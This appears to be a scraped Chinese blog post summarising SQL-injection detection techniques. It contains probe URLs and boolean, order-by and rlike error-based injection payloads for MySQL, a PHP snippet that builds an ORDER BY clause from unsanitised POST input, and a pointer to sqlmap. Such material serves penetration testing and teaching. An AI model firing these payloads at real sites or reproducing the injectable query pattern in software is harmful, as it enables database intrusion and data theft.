SQL注入判断方法总结（持续更新）

首页 > 代码库 > SQL注入判断方法总结（持续更新）

SQL注入判断方法总结（持续更新）

2024-08-30 23:37:53 218人阅读

http://e.com/1.php?id=1
http://e.com/1.php?id=1-- sd
 
http://e.com/1.php?id=aaa
http://e.com/1.php?id=aaa‘-- sd
 
http://e.com/1.php?id=aaa
http://e.com/1.php?id=aaa‘ ‘
http://e.com/1.php?id=aaa‘||‘
http://e.com/1.php?id=aaa‘%2b‘
 
id=1 and 1=if(1=2,1,(select 1 union select 2)) 
id=1 and 1=if(1=1,1,(select 1 union select 2))
 
id=1 order by 1 正常
id=1 order by 1,  错误
id=1 order by 1, 1 正常

Content-Type: application/json 时： 
可以尝试用 \u0027  代替单引号。

orderby 注入：

<?php
$con = mysql_connect("localhost","root","123456") or die();
mysql_select_db("burp");
$orderby = $_POST[‘orderby‘];
$order = $_POST[‘order‘];
$sql = "select * from `sql` order by ".$orderby." ".$order;
echo $sql;
$res = mysql_query($sql);
echo "<br><br>";
echo "<b>";
while($rows = @mysql_fetch_array($res,MYSQL_ASSOC)){
    echo $rows[‘new‘];
}
echo "<b>";
?>

上面的代码 $orderby 和 $order 都存在注入

技术分享

这里一般遇到order orderby 参数我一般会这样来测

orderby=id,&order=asc

orderby=id,1&order=asc

技术分享

所以可以这样来进行注入

,if(1=1,1,(select 1 union sleect 2))

,if(1=2,1,(select 1 union sleect 2))

技术分享

然后就可以放进sqlmap 愉快的跑了。

order 参数同上。

下面说另外一种注入方法：

先列2个语句

mysql> select user from mysql.user where user=‘admin‘ order by user rlike char(40);
ERROR 1139 (42000): Got error ‘parentheses not balanced‘ from regexp
mysql> select user from mysql.user where user=‘admin‘ order by user rlike 1;
+-------+
| user  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)